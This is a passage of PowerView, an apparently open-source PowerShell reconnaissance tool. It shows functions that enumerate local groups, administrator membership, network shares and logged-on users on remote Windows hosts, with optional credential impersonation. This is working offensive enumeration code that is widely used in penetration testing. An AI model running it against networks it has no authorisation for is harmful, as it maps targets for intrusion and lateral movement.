  14112         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  14113         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  14114         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  14115 
  14116         $ConvertArguments = @{}
  14117         if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
  14118         if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
  14119     }
  14120 
  14121     PROCESS {
  14122         if ($PSBoundParameters['Domain']) {
  14123             $SearcherArguments['Domain'] = $Domain
  14124             $ConvertArguments['Domain'] = $Domain
  14125         }
  14126 
  14127         if ($Policy -eq 'All') {
  14128             $SearcherArguments['Identity'] = '*'
  14129         }
  14130         elseif ($Policy -eq 'Domain') {
  14131             $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
  14132         }
  14133         elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
  14134             $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
  14135         }
  14136         else {
  14137             $SearcherArguments['Identity'] = $Policy
  14138         }
  14139 
  14140         $GPOResults = Get-DomainGPO @SearcherArguments
  14141 
  14142         ForEach ($GPO in $GPOResults) {
  14143             # grab the GptTmpl.inf file and parse it
  14144             $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
  14145 
  14146             $ParseArgs =  @{
  14147                 'GptTmplPath' = $GptTmplPath
  14148                 'OutputObject' = $True
  14149             }
  14150             if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
  14151 
  14152             # parse the GptTmpl.inf
  14153             Get-GptTmpl @ParseArgs | ForEach-Object {
  14154                 $_ | Add-Member Noteproperty 'GPOName' $GPO.name
  14155                 $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
  14156                 $_
  14157             }
  14158         }
  14159     }
  14160 }
  14161 
  14162 
  14163 ########################################################
  14164 #
  14165 # Functions that enumerate a single host, either through
  14166 # WinNT, WMI, remote registry, or API calls
  14167 # (with PSReflect).
  14168 #
  14169 ########################################################
  14170 
  14171 function Get-NetLocalGroup {
  14172 <#
  14173 .SYNOPSIS
  14174 
  14175 Enumerates the local groups on the local (or remote) machine.
  14176 
  14177 Author: Will Schroeder (@harmj0y)  
  14178 License: BSD 3-Clause  
  14179 Required Dependencies: PSReflect  
  14180 
  14181 .DESCRIPTION
  14182 
  14183 This function will enumerate the names and descriptions for the
  14184 local groups on the current, or remote, machine. By default, the Win32 API
  14185 call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
  14186 causes the WinNT service provider to be used instead, which returns group
  14187 SIDs along with the group names and descriptions/comments.
  14188 
  14189 .PARAMETER ComputerName
  14190 
  14191 Specifies the hostname to query for sessions (also accepts IP addresses).
  14192 Defaults to the localhost.
  14193 
  14194 .PARAMETER Method
  14195 
  14196 The collection method to use, defaults to 'API', also accepts 'WinNT'.
  14197 
  14198 .PARAMETER Credential
  14199 
  14200 A [Management.Automation.PSCredential] object of alternate credentials
  14201 for connection to a remote machine. Only applicable with "-Method WinNT".
  14202 
  14203 .EXAMPLE
  14204 
  14205 Get-NetLocalGroup
  14206 
  14207 ComputerName                  GroupName                     Comment
  14208 ------------                  ---------                     -------
  14209 WINDOWS1                      Administrators                Administrators have comple...
  14210 WINDOWS1                      Backup Operators              Backup Operators can overr...
  14211 WINDOWS1                      Cryptographic Operators       Members are authorized to ...
  14212 ...
  14213 
  14214 .EXAMPLE
  14215 
  14216 Get-NetLocalGroup -Method Winnt
  14217 
  14218 ComputerName           GroupName              GroupSID              Comment
  14219 ------------           ---------              --------              -------
  14220 WINDOWS1               Administrators         S-1-5-32-544          Administrators hav...
  14221 WINDOWS1               Backup Operators       S-1-5-32-551          Backup Operators c...
  14222 WINDOWS1               Cryptographic Opera... S-1-5-32-569          Members are author...
  14223 ...
  14224 
  14225 .EXAMPLE
  14226 
  14227 Get-NetLocalGroup -ComputerName primary.testlab.local
  14228 
  14229 ComputerName                  GroupName                     Comment
  14230 ------------                  ---------                     -------
  14231 primary.testlab.local         Administrators                Administrators have comple...
  14232 primary.testlab.local         Users                         Users are prevented from m...
  14233 primary.testlab.local         Guests                        Guests have the same acces...
  14234 primary.testlab.local         Print Operators               Members can administer dom...
  14235 primary.testlab.local         Backup Operators              Backup Operators can overr...
  14236 
  14237 .OUTPUTS
  14238 
  14239 PowerView.LocalGroup.API
  14240 
  14241 Custom PSObject with translated group property fields from API results.
  14242 
  14243 PowerView.LocalGroup.WinNT
  14244 
  14245 Custom PSObject with translated group property fields from WinNT results.
  14246 
  14247 .LINK
  14248 
  14249 https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
  14250 #>
  14251 
  14252     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  14253     [OutputType('PowerView.LocalGroup.API')]
  14254     [OutputType('PowerView.LocalGroup.WinNT')]
  14255     [CmdletBinding()]
  14256     Param(
  14257         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  14258         [Alias('HostName', 'dnshostname', 'name')]
  14259         [ValidateNotNullOrEmpty()]
  14260         [String[]]
  14261         $ComputerName = $Env:COMPUTERNAME,
  14262 
  14263         [ValidateSet('API', 'WinNT')]
  14264         [Alias('CollectionMethod')]
  14265         [String]
  14266         $Method = 'API',
  14267 
  14268         [Management.Automation.PSCredential]
  14269         [Management.Automation.CredentialAttribute()]
  14270         $Credential = [Management.Automation.PSCredential]::Empty
  14271     )
  14272 
  14273     BEGIN {
  14274         if ($PSBoundParameters['Credential']) {
  14275             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  14276         }
  14277     }
  14278 
  14279     PROCESS {
  14280         ForEach ($Computer in $ComputerName) {
  14281             if ($Method -eq 'API') {
  14282                 # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
  14283 
  14284                 # arguments for NetLocalGroupEnum
  14285                 $QueryLevel = 1
  14286                 $PtrInfo = [IntPtr]::Zero
  14287                 $EntriesRead = 0
  14288                 $TotalRead = 0
  14289                 $ResumeHandle = 0
  14290 
  14291                 # get the local user information
  14292                 $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  14293 
  14294                 # locate the offset of the initial intPtr
  14295                 $Offset = $PtrInfo.ToInt64()
  14296 
  14297                 # 0 = success
  14298                 if (($Result -eq 0) -and ($Offset -gt 0)) {
  14299 
  14300                     # Work out how much to increment the pointer by finding out the size of the structure
  14301                     $Increment = $LOCALGROUP_INFO_1::GetSize()
  14302 
  14303                     # parse all the result structures
  14304                     for ($i = 0; ($i -lt $EntriesRead); $i++) {
  14305                         # create a new int ptr at the given offset and cast the pointer as our result structure
  14306                         $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  14307                         $Info = $NewIntPtr -as $LOCALGROUP_INFO_1
  14308 
  14309                         $Offset = $NewIntPtr.ToInt64()
  14310                         $Offset += $Increment
  14311 
  14312                         $LocalGroup = New-Object PSObject
  14313                         $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
  14314                         $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
  14315                         $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
  14316                         $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
  14317                         $LocalGroup
  14318                     }
  14319                     # free up the result buffer
  14320                     $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  14321                 }
  14322                 else {
  14323                     Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  14324                 }
  14325             }
  14326             else {
  14327                 # otherwise we're using the WinNT service provider
  14328                 $ComputerProvider = [ADSI]"WinNT://$Computer,computer"
  14329 
  14330                 $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
  14331                     $LocalGroup = ([ADSI]$_)
  14332                     $Group = New-Object PSObject
  14333                     $Group | Add-Member Noteproperty 'ComputerName' $Computer
  14334                     $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
  14335                     $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
  14336                     $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
  14337                     $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
  14338                     $Group
  14339                 }
  14340             }
  14341         }
  14342     }
  14343     
  14344     END {
  14345         if ($LogonToken) {
  14346             Invoke-RevertToSelf -TokenHandle $LogonToken
  14347         }
  14348     }
  14349 }
  14350 
  14351 
  14352 function Get-NetLocalGroupMember {
  14353 <#
  14354 .SYNOPSIS
  14355 
  14356 Enumerates members of a specific local group on the local (or remote) machine.
  14357 
  14358 Author: Will Schroeder (@harmj0y)  
  14359 License: BSD 3-Clause  
  14360 Required Dependencies: PSReflect, Convert-ADName  
  14361 
  14362 .DESCRIPTION
  14363 
  14364 This function will enumerate the members of a specified local group  on the
  14365 current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers
  14366 will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider
  14367 to be used instead, which returns a larger amount of information.
  14368 
  14369 .PARAMETER ComputerName
  14370 
  14371 Specifies the hostname to query for sessions (also accepts IP addresses).
  14372 Defaults to the localhost.
  14373 
  14374 .PARAMETER GroupName
  14375 
  14376 The local group name to query for users. If not given, it defaults to "Administrators".
  14377 
  14378 .PARAMETER Method
  14379 
  14380 The collection method to use, defaults to 'API', also accepts 'WinNT'.
  14381 
  14382 .PARAMETER Credential
  14383 
  14384 A [Management.Automation.PSCredential] object of alternate credentials
  14385 for connection to a remote machine. Only applicable with "-Method WinNT".
  14386 
  14387 .EXAMPLE
  14388 
  14389 Get-NetLocalGroupMember | ft
  14390 
  14391 ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
  14392 ------------   ---------      ----------     ---                   -------       --------
  14393 WINDOWS1       Administrators WINDOWS1\Ad... S-1-5-21-25...          False          False
  14394 WINDOWS1       Administrators WINDOWS1\lo... S-1-5-21-25...          False          False
  14395 WINDOWS1       Administrators TESTLAB\Dom... S-1-5-21-89...           True           True
  14396 WINDOWS1       Administrators TESTLAB\har... S-1-5-21-89...          False           True
  14397 
  14398 .EXAMPLE
  14399 
  14400 Get-NetLocalGroupMember -Method winnt | ft
  14401 
  14402 ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
  14403 ------------   ---------      ----------     ---                   -------       --------
  14404 WINDOWS1       Administrators WINDOWS1\Ad... S-1-5-21-25...          False          False
  14405 WINDOWS1       Administrators WINDOWS1\lo... S-1-5-21-25...          False          False
  14406 WINDOWS1       Administrators TESTLAB\Dom... S-1-5-21-89...           True           True
  14407 WINDOWS1       Administrators TESTLAB\har... S-1-5-21-89...          False           True
  14408 
  14409 .EXAMPLE
  14410 
  14411 Get-NetLocalGroup | Get-NetLocalGroupMember | ft
  14412 
  14413 ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
  14414 ------------   ---------      ----------     ---                   -------       --------
  14415 WINDOWS1       Administrators WINDOWS1\Ad... S-1-5-21-25...          False          False
  14416 WINDOWS1       Administrators WINDOWS1\lo... S-1-5-21-25...          False          False
  14417 WINDOWS1       Administrators TESTLAB\Dom... S-1-5-21-89...           True           True
  14418 WINDOWS1       Administrators TESTLAB\har... S-1-5-21-89...          False           True
  14419 WINDOWS1       Guests         WINDOWS1\Guest S-1-5-21-25...          False          False
  14420 WINDOWS1       IIS_IUSRS      NT AUTHORIT... S-1-5-17                False          False
  14421 WINDOWS1       Users          NT AUTHORIT... S-1-5-4                 False          False
  14422 WINDOWS1       Users          NT AUTHORIT... S-1-5-11                False          False
  14423 WINDOWS1       Users          WINDOWS1\lo... S-1-5-21-25...          False        UNKNOWN
  14424 WINDOWS1       Users          TESTLAB\Dom... S-1-5-21-89...           True        UNKNOWN
  14425 
  14426 .EXAMPLE
  14427 
  14428 Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
  14429 
  14430 ComputerName   GroupName      MemberName     SID                   IsGroup       IsDomain
  14431 ------------   ---------      ----------     ---                   -------       --------
  14432 primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89...          False          False
  14433 primary.tes... Administrators TESTLAB\loc... S-1-5-21-89...          False          False
  14434 primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89...           True          False
  14435 primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89...           True          False
  14436 
  14437 .OUTPUTS
  14438 
  14439 PowerView.LocalGroupMember.API
  14440 
  14441 Custom PSObject with translated group property fields from API results.
  14442 
  14443 PowerView.LocalGroupMember.WinNT
  14444 
  14445 Custom PSObject with translated group property fields from WinNT results.
  14446 
  14447 .LINK
  14448 
  14449 http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
  14450 http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
  14451 https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx
  14452 #>
  14453 
  14454     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  14455     [OutputType('PowerView.LocalGroupMember.API')]
  14456     [OutputType('PowerView.LocalGroupMember.WinNT')]
  14457     Param(
  14458         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  14459         [Alias('HostName', 'dnshostname', 'name')]
  14460         [ValidateNotNullOrEmpty()]
  14461         [String[]]
  14462         $ComputerName = $Env:COMPUTERNAME,
  14463 
  14464         [Parameter(ValueFromPipelineByPropertyName = $True)]
  14465         [ValidateNotNullOrEmpty()]
  14466         [String]
  14467         $GroupName = 'Administrators',
  14468 
  14469         [ValidateSet('API', 'WinNT')]
  14470         [Alias('CollectionMethod')]
  14471         [String]
  14472         $Method = 'API',
  14473 
  14474         [Management.Automation.PSCredential]
  14475         [Management.Automation.CredentialAttribute()]
  14476         $Credential = [Management.Automation.PSCredential]::Empty
  14477     )
  14478 
  14479     BEGIN {
  14480         if ($PSBoundParameters['Credential']) {
  14481             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  14482         }
  14483     }
  14484 
  14485     PROCESS {
  14486         ForEach ($Computer in $ComputerName) {
  14487             if ($Method -eq 'API') {
  14488                 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
  14489 
  14490                 # arguments for NetLocalGroupGetMembers
  14491                 $QueryLevel = 2
  14492                 $PtrInfo = [IntPtr]::Zero
  14493                 $EntriesRead = 0
  14494                 $TotalRead = 0
  14495                 $ResumeHandle = 0
  14496 
  14497                 # get the local user information
  14498                 $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  14499 
  14500                 # locate the offset of the initial intPtr
  14501                 $Offset = $PtrInfo.ToInt64()
  14502 
  14503                 $Members = @()
  14504 
  14505                 # 0 = success
  14506                 if (($Result -eq 0) -and ($Offset -gt 0)) {
  14507 
  14508                     # Work out how much to increment the pointer by finding out the size of the structure
  14509                     $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
  14510 
  14511                     # parse all the result structures
  14512                     for ($i = 0; ($i -lt $EntriesRead); $i++) {
  14513                         # create a new int ptr at the given offset and cast the pointer as our result structure
  14514                         $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  14515                         $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
  14516 
  14517                         $Offset = $NewIntPtr.ToInt64()
  14518                         $Offset += $Increment
  14519 
  14520                         $SidString = ''
  14521                         $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  14522 
  14523                         if ($Result2 -eq 0) {
  14524                             Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  14525                         }
  14526                         else {
  14527                             $Member = New-Object PSObject
  14528                             $Member | Add-Member Noteproperty 'ComputerName' $Computer
  14529                             $Member | Add-Member Noteproperty 'GroupName' $GroupName
  14530                             $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
  14531                             $Member | Add-Member Noteproperty 'SID' $SidString
  14532                             $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
  14533                             $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
  14534                             $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
  14535                             $Members += $Member
  14536                         }
  14537                     }
  14538 
  14539                     # free up the result buffer
  14540                     $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  14541 
  14542                     # try to extract out the machine SID by using the -500 account as a reference
  14543                     $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
  14544                     if ($MachineSid) {
  14545                         $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
  14546 
  14547                         $Members | ForEach-Object {
  14548                             if ($_.SID -match $MachineSid) {
  14549                                 $_ | Add-Member Noteproperty 'IsDomain' $False
  14550                             }
  14551                             else {
  14552                                 $_ | Add-Member Noteproperty 'IsDomain' $True
  14553                             }
  14554                         }
  14555                     }
  14556                     else {
  14557                         $Members | ForEach-Object {
  14558                             if ($_.SID -notmatch 'S-1-5-21') {
  14559                                 $_ | Add-Member Noteproperty 'IsDomain' $False
  14560                             }
  14561                             else {
  14562                                 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
  14563                             }
  14564                         }
  14565                     }
  14566                     $Members
  14567                 }
  14568                 else {
  14569                     Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  14570                 }
  14571             }
  14572             else {
  14573                 # otherwise we're using the WinNT service provider
  14574                 try {
  14575                     $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
  14576 
  14577                     $GroupProvider.psbase.Invoke('Members') | ForEach-Object {
  14578 
  14579                         $Member = New-Object PSObject
  14580                         $Member | Add-Member Noteproperty 'ComputerName' $Computer
  14581                         $Member | Add-Member Noteproperty 'GroupName' $GroupName
  14582 
  14583                         $LocalUser = ([ADSI]$_)
  14584                         $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
  14585                         $IsGroup = ($LocalUser.SchemaClassName -like 'group')
  14586 
  14587                         if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
  14588                             # DOMAIN\user
  14589                             $MemberIsDomain = $True
  14590                             $Name = $AdsPath.Replace('/', '\')
  14591                         }
  14592                         else {
  14593                             # DOMAIN\machine\user
  14594                             $MemberIsDomain = $False
  14595                             $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
  14596                         }
  14597 
  14598                         $Member | Add-Member Noteproperty 'AccountName' $Name
  14599                         $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  14600                         $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
  14601                         $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
  14602 
  14603                         # if ($MemberIsDomain) {
  14604                         #     # translate the binary sid to a string
  14605                         #     $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  14606                         #     $Member | Add-Member Noteproperty 'Description' ''
  14607                         #     $Member | Add-Member Noteproperty 'Disabled' ''
  14608 
  14609                         #     if ($IsGroup) {
  14610                         #         $Member | Add-Member Noteproperty 'LastLogin' ''
  14611                         #     }
  14612                         #     else {
  14613                         #         try {
  14614                         #             $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
  14615                         #         }
  14616                         #         catch {
  14617                         #             $Member | Add-Member Noteproperty 'LastLogin' ''
  14618                         #         }
  14619                         #     }
  14620                         #     $Member | Add-Member Noteproperty 'PwdLastSet' ''
  14621                         #     $Member | Add-Member Noteproperty 'PwdExpired' ''
  14622                         #     $Member | Add-Member Noteproperty 'UserFlags' ''
  14623                         # }
  14624                         # else {
  14625                         #     # translate the binary sid to a string
  14626                         #     $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
  14627                         #     $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
  14628 
  14629                         #     if ($IsGroup) {
  14630                         #         $Member | Add-Member Noteproperty 'PwdLastSet' ''
  14631                         #         $Member | Add-Member Noteproperty 'PwdExpired' ''
  14632                         #         $Member | Add-Member Noteproperty 'UserFlags' ''
  14633                         #         $Member | Add-Member Noteproperty 'Disabled' ''
  14634                         #         $Member | Add-Member Noteproperty 'LastLogin' ''
  14635                         #     }
  14636                         #     else {
  14637                         #         $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
  14638                         #         $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
  14639                         #         $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
  14640                         #         # UAC flags of 0x2 mean the account is disabled
  14641                         #         $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
  14642                         #         try {
  14643                         #             $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
  14644                         #         }
  14645                         #         catch {
  14646                         #             $Member | Add-Member Noteproperty 'LastLogin' ''
  14647                         #         }
  14648                         #     }
  14649                         # }
  14650 
  14651                         $Member
  14652                     }
  14653                 }
  14654                 catch {
  14655                     Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
  14656                 }
  14657             }
  14658         }
  14659     }
  14660     
  14661     END {
  14662         if ($LogonToken) {
  14663             Invoke-RevertToSelf -TokenHandle $LogonToken
  14664         }
  14665     }
  14666 }
  14667 
  14668 
  14669 function Get-NetShare {
  14670 <#
  14671 .SYNOPSIS
  14672 
  14673 Returns open shares on the local (or a remote) machine.
  14674 
  14675 Author: Will Schroeder (@harmj0y)  
  14676 License: BSD 3-Clause  
  14677 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  14678 
  14679 .DESCRIPTION
  14680 
  14681 This function will execute the NetShareEnum Win32API call to query
  14682 a given host for open shares. This is a replacement for "net share \\hostname".
  14683 
  14684 .PARAMETER ComputerName
  14685 
  14686 Specifies the hostname to query for shares (also accepts IP addresses).
  14687 Defaults to 'localhost'.
  14688 
  14689 .PARAMETER Credential
  14690 
  14691 A [Management.Automation.PSCredential] object of alternate credentials
  14692 for connection to the remote system using Invoke-UserImpersonation.
  14693 
  14694 .EXAMPLE
  14695 
  14696 Get-NetShare
  14697 
  14698 Returns active shares on the local host.
  14699 
  14700 .EXAMPLE
  14701 
  14702 Get-NetShare -ComputerName sqlserver
  14703 
  14704 Returns active shares on the 'sqlserver' host
  14705 
  14706 .EXAMPLE
  14707 
  14708 Get-DomainComputer | Get-NetShare
  14709 
  14710 Returns all shares for all computers in the domain.
  14711 
  14712 .EXAMPLE
  14713 
  14714 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  14715 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  14716 Get-NetShare -ComputerName sqlserver -Credential $Cred
  14717 
  14718 .OUTPUTS
  14719 
  14720 PowerView.ShareInfo
  14721 
  14722 A PSCustomObject representing a SHARE_INFO_1 structure, including
  14723 the name/type/remark for each share, with the ComputerName added.
  14724 
  14725 .LINK
  14726 
  14727 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
  14728 #>
  14729 
  14730     [OutputType('PowerView.ShareInfo')]
  14731     [CmdletBinding()]
  14732     Param(
  14733         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  14734         [Alias('HostName', 'dnshostname', 'name')]
  14735         [ValidateNotNullOrEmpty()]
  14736         [String[]]
  14737         $ComputerName = 'localhost',
  14738 
  14739         [Management.Automation.PSCredential]
  14740         [Management.Automation.CredentialAttribute()]
  14741         $Credential = [Management.Automation.PSCredential]::Empty
  14742     )
  14743 
  14744     BEGIN {
  14745         if ($PSBoundParameters['Credential']) {
  14746             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  14747         }
  14748     }
  14749 
  14750     PROCESS {
  14751         ForEach ($Computer in $ComputerName) {
  14752             # arguments for NetShareEnum
  14753             $QueryLevel = 1
  14754             $PtrInfo = [IntPtr]::Zero
  14755             $EntriesRead = 0
  14756             $TotalRead = 0
  14757             $ResumeHandle = 0
  14758 
  14759             # get the raw share information
  14760             $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  14761 
  14762             # locate the offset of the initial intPtr
  14763             $Offset = $PtrInfo.ToInt64()
  14764 
  14765             # 0 = success
  14766             if (($Result -eq 0) -and ($Offset -gt 0)) {
  14767 
  14768                 # work out how much to increment the pointer by finding out the size of the structure
  14769                 $Increment = $SHARE_INFO_1::GetSize()
  14770 
  14771                 # parse all the result structures
  14772                 for ($i = 0; ($i -lt $EntriesRead); $i++) {
  14773                     # create a new int ptr at the given offset and cast the pointer as our result structure
  14774                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  14775                     $Info = $NewIntPtr -as $SHARE_INFO_1
  14776 
  14777                     # return all the sections of the structure - have to do it this way for V2
  14778                     $Share = $Info | Select-Object *
  14779                     $Share | Add-Member Noteproperty 'ComputerName' $Computer
  14780                     $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
  14781                     $Offset = $NewIntPtr.ToInt64()
  14782                     $Offset += $Increment
  14783                     $Share
  14784                 }
  14785 
  14786                 # free up the result buffer
  14787                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  14788             }
  14789             else {
  14790                 Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  14791             }
  14792         }
  14793     }
  14794 
  14795     END {
  14796         if ($LogonToken) {
  14797             Invoke-RevertToSelf -TokenHandle $LogonToken
  14798         }
  14799     }
  14800 }
  14801 
  14802 
  14803 function Get-NetLoggedon {
  14804 <#
  14805 .SYNOPSIS
  14806 
  14807 Returns users logged on the local (or a remote) machine.
  14808 Note: administrative rights needed for newer Windows OSes.
  14809 
  14810 Author: Will Schroeder (@harmj0y)  
  14811 License: BSD 3-Clause  
  14812 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  14813 
  14814 .DESCRIPTION
  14815 
  14816 This function will execute the NetWkstaUserEnum Win32API call to query
  14817 a given host for actively logged on users.
  14818 
  14819 .PARAMETER ComputerName
  14820 
  14821 Specifies the hostname to query for logged on users (also accepts IP addresses).
  14822 Defaults to 'localhost'.
  14823 
  14824 .PARAMETER Credential
  14825 
  14826 A [Management.Automation.PSCredential] object of alternate credentials
  14827 for connection to the remote system using Invoke-UserImpersonation.
  14828 
  14829 .EXAMPLE
  14830 
  14831 Get-NetLoggedon
  14832 
  14833 Returns users actively logged onto the local host.
  14834 
  14835 .EXAMPLE
  14836 
  14837 Get-NetLoggedon -ComputerName sqlserver
  14838 
  14839 Returns users actively logged onto the 'sqlserver' host.
  14840 
  14841 .EXAMPLE
  14842 
  14843 Get-DomainComputer | Get-NetLoggedon
  14844 
  14845 Returns all logged on users for all computers in the domain.
  14846 
  14847 .EXAMPLE
  14848 
  14849 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  14850 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  14851 Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
  14852 
  14853 .OUTPUTS
  14854 
  14855 PowerView.LoggedOnUserInfo
  14856 
  14857 A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
  14858 the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.
  14859 
  14860 .LINK
  14861 
  14862 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
  14863 #>
  14864 
  14865     [OutputType('PowerView.LoggedOnUserInfo')]
  14866     [CmdletBinding()]
  14867     Param(
  14868         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  14869         [Alias('HostName', 'dnshostname', 'name')]
  14870         [ValidateNotNullOrEmpty()]
  14871         [String[]]
  14872         $ComputerName = 'localhost',
  14873 
  14874         [Management.Automation.PSCredential]
  14875         [Management.Automation.CredentialAttribute()]
  14876         $Credential = [Management.Automation.PSCredential]::Empty
  14877     )
  14878 
  14879     BEGIN {
  14880         if ($PSBoundParameters['Credential']) {
  14881             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  14882         }
  14883     }
  14884 
  14885     PROCESS {
  14886         ForEach ($Computer in $ComputerName) {
  14887             # declare the reference variables
  14888             $QueryLevel = 1
  14889             $PtrInfo = [IntPtr]::Zero
  14890             $EntriesRead = 0
  14891             $TotalRead = 0
  14892             $ResumeHandle = 0
  14893 
  14894             # get logged on user information
